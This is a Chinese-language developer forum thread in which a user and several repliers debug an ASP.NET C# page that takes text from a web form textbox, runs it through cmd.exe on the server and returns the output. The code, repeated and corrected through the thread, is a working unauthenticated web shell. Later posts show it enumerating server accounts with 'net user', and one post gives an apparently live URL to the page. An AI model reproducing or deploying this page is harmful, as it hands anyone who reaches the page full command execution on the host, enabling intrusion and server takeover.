有小问题,哥们兄弟们看看啊。。呵呵。。有个高手教的,可调失败了using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
using System.IO;
using System.Diagnostics; 
namespace WebAppCSharpt
{
/// <summary>
/// WebForm1 的摘要说明。
/// </summary>
public class WebForm1 : System.Web.UI.Page
{
protected System.Web.UI.WebControls.Button Button1;
protected System.Web.UI.WebControls.TextBox TextBox1;

private void Page_Load(object sender, System.EventArgs e)
{
} /// <summary>
/// certificate test
/// </summary>

#region Web Form Designer generated code
override protected void OnInit(EventArgs e)
{
//
// CODEGEN:该调用是 ASP.NET Web 窗体设计器所必需的。
//
InitializeComponent();
base.OnInit(e);
}

/// <summary>
/// 设计器支持所需的方法 
/// 此方法的内容。
/// </summary>
private void InitializeComponent()
{    
this.Button1.Click += new System.EventHandler(this.Button1_Click);
this.Load += new System.EventHandler(this.Page_Load); }
#endregion private void Button1_Click(object sender, System.EventArgs e) 
{
string cmd = this.TextBox1.Text ;
if (cmd==null||cmd.Length==0)
return;
//输出执行命令的结果
Response.Write(this.RunCmd(cmd));
}

private void RunCmd(string strExec)
{
string rl;
Process p=new Process(); p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.WorkingDirectory="c:\\";
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
p.Start(); p.StandardInput.WriteLine(strExec);

p.StandardInput.WriteLine("exit"); while((rl=p.StandardOutput.ReadLine())!=null)
{
Response.Write(p.StandardOutput.ReadLine());
}
} //把要执行的命令传进来就可以了,但是现在执行完不退出就有问题,必须执行一个命令退出一次,而且像ping这样的命令就打印不出来,建议最好把要执行的命令一行写完,执行一次。因为退出以后再执行的命令还是在默认目录下的。

}
}

解决方案 »

  1.   

    F:\x_asedo\复件 WebApplication3\WebForm1.aspx.cs(67): 与“System.Web.HttpResponse.Write(string)”最匹配的重载方法具有一些无效参数
    F:\x_asedo\复件 WebApplication3\WebForm1.aspx.cs(67): 参数“1” : 无法从“void”转换为“string”
    以上是错误信息
      

  2.   

    //输出执行命令的结果
    Response.Write(this.RunCmd(cmd));
    错了吧。
    RunCmd(string strExec)
    没返回值的!!!
      

  3.   

    Server Error in '/' Application.
    --------------------------------------------------------------------------------Configuration Error 
    Description: An error occurred during the processing of a configuration file required to service this request. Please review the specific error details below and modify your configuration file appropriately. Parser Error Message: It is an error to use a section registered as allowDefinition='MachineToApplication' beyond application level. This error can be caused by a virtual directory not being configured as an application in IIS.Source Error: 
    Line 44:            它为成员站点提供单独登录和核心配置文件服务。
    Line 45:     -->
    Line 46:     <authentication mode="Windows" /> 
    Line 47: 
    Line 48:  <!--  授权 
     Source File: F:\x_asedo\复件 WebApplication3\web.config    Line: 46 
    --------------------------------------------------------------------------------
    Version Information: Microsoft .NET Framework Version:2.0.40607.42; ASP.NET Version:2.0.40607.42 
    wf5360308(峰
    根据你的回答我改了,成功,可是访问时就这样了。。
      

  4.   

    晕啊 是VOID的 RESPONSE。WRITE出来的是什么呢
      

  5.   

    private string RunCmd(string strExec)
    {
    string rl;
    Process p=new Process(); p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.WorkingDirectory="c:\\";
    p.StartInfo.RedirectStandardInput = true;
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.RedirectStandardError = true;
    p.StartInfo.CreateNoWindow = true;
    p.Start(); p.StandardInput.WriteLine(strExec);

    p.StandardInput.WriteLine("exit");
    string str=""; while((rl=p.StandardOutput.ReadLine())!=null)
    {
    str+=p.StandardOutput.ReadLine().ToString ();
    }
    return str; } #region Web 窗体设计器生成的代码
    override protected void OnInit(EventArgs e)
    {
    //
    // CODEGEN: 该调用是 ASP.NET Web 窗体设计器所必需的。
    //
    InitializeComponent();
    base.OnInit(e);
    }

    /// <summary>
    /// 设计器支持所需的方法 - 不要使用代码编辑器修改
    /// 此方法的内容。
    /// </summary>
    private void InitializeComponent()
    {    
    this.Button1.Click += new System.EventHandler(this.Button1_Click);
    this.Load += new System.EventHandler(this.Page_Load); }
    #endregion private void Button1_Click(object sender, System.EventArgs e)
    {
    string cmd = this.TextBox1.Text ;
    if (cmd==null||cmd.Length==0)
    return;
    //输出执行命令的结果
    TextBox2.Text =this.RunCmd(cmd); }
      

  6.   

    This error can be caused by a virtual directory not being configured as an application in IIS.
    就是让你在IIS为你的应用创建一下虚拟目录。兄弟
      

  7.   

    应该是将该目录创建为应用。
    中文版的错误信息:
    配置错误 
    说明: 在处理向该请求提供服务所需的配置文件时出错。请检查下面的特定错误详细信息并适当地修改配置文件。 分析器错误信息: 在应用程序级别以外使用注册为 allowDefinition='MachineToApplication' 的节是错误的。导致该错误的原因可能是在 IIS 中没有将虚拟目录作为应用程序进行配置。源错误: 
    行 36:           “Passport”和“None”
    行 37:     -->
    行 38:     <authentication mode="Windows" /> 
    行 39: 
    行 40:     <!--  应用程序级别跟踪记录
     源文件: d:\inetpub\wwwroot\AYSTAdmin\web.config    行: 38 
      

  8.   

    private void Button1_Click就是点击按钮开始执行啊。
      

  9.   

    using System;
    using System.Collections;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Web;
    using System.Web.SessionState;
    using System.Web.UI;
    using System.Web.UI.WebControls;
    using System.Web.UI.HtmlControls;
    using System.IO;
    using System.Diagnostics;  //这个引用要加
    namespace WebAppCSharpt
    {
    /// <summary>
    /// WebForm1 的摘要说明。
    /// </summary>
    public class WebForm1 : System.Web.UI.Page
    {
    protected System.Web.UI.WebControls.Button Button1;
    protected System.Web.UI.WebControls.TextBox TextBox2;
    protected System.Web.UI.WebControls.TextBox TextBox1;

    private void Page_Load(object sender, System.EventArgs e)
    {
    } /// <summary>
    /// certificate test
    /// </summary>

    #region Web Form Designer generated code
    override protected void OnInit(EventArgs e)
    {
    //
    // CODEGEN:该调用是 ASP.NET Web 窗体设计器所必需的。
    //
    InitializeComponent();
    base.OnInit(e);
    }

    /// <summary>
    /// 设计器支持所需的方法 - 不要使用代码编辑器修改
    /// 此方法的内容。
    /// </summary>
    private void InitializeComponent()
    {    
    this.Button1.Click += new System.EventHandler(this.Button1_Click);
    this.TextBox2.TextChanged += new System.EventHandler(this.TextBox2_TextChanged);
    this.Load += new System.EventHandler(this.Page_Load); }
    #endregion //private void Button1_Click(object sender, System.EventArgs e) 
    //{
    //string cmd = this.TextBox1.Text ;
    // if (cmd==null||cmd.Length==0)
    // return;
    //输出执行命令的结果
    //Response.Write(this.RunCmd(cmd)); // this.RunCmd(cmd);
    //}

    private string RunCmd(string strExec)
    {
    string rl;
    Process p=new Process(); p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.WorkingDirectory="c:\\";
    p.StartInfo.RedirectStandardInput = true;
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.RedirectStandardError = true;
    p.StartInfo.CreateNoWindow = true;
    p.Start(); p.StandardInput.WriteLine(strExec);

    p.StandardInput.WriteLine("exit");
    string str=""; while((rl=p.StandardOutput.ReadLine())!=null)
    {
    str+=p.StandardOutput.ReadLine().ToString ();
    }
    return str; }
    private void Button1_Click(object sender, System.EventArgs e)
    {
    string cmd = this.TextBox1.Text ;
    if (cmd==null||cmd.Length==0)
    return;
    //输出执行命令的结果
    TextBox2.Text =this.RunCmd(cmd); }
    //把要执行的命令传进来就可以了,但是现在执行完不退出就有问题,必须执行一个命令退出一次,而且像ping这样的命令就打印不出来,建议最好把要执行的命令一行写完,执行一次。因为退出以后再执行的命令还是在默认目录下的。

    }
    }
    加了一个文本框,可是依然错的
    “WebAppCSharpt.WebForm1”并不包含对“TextBox2_TextChanged”的定义
      

  10.   

    this.TextBox2.TextChanged += new System.EventHandler(this.TextBox2_TextChanged);
    你的TextBox2_TextChanged方法呢?被删了吧。如果没有用,就把上面的这一行也删掉。
      

  11.   

    兄弟我明天给你答复啊,项目忙死了。
    告诉我你的msn吧
      

  12.   


    http://218.27.204.17/aspnet/a_user.aspx
      

  13.   

    你的代码调试是成功了。可是还是没改变啊。比如net user
    (C) 版权所有 1985-2001 Microsoft Corp.c:\>net user\\ASEDO-3 的用户帐户-------------------------------------------------------------------------------ASPNET                   Guest                    HelpAssistant            SQLDebugger              SUPPORT_388945a0         WADM_ASEDO-3             c:\>exit
    也就是说命令输出结果不全啊老是一半。。本来在文本框2里应该成功的,可是还是失败了。。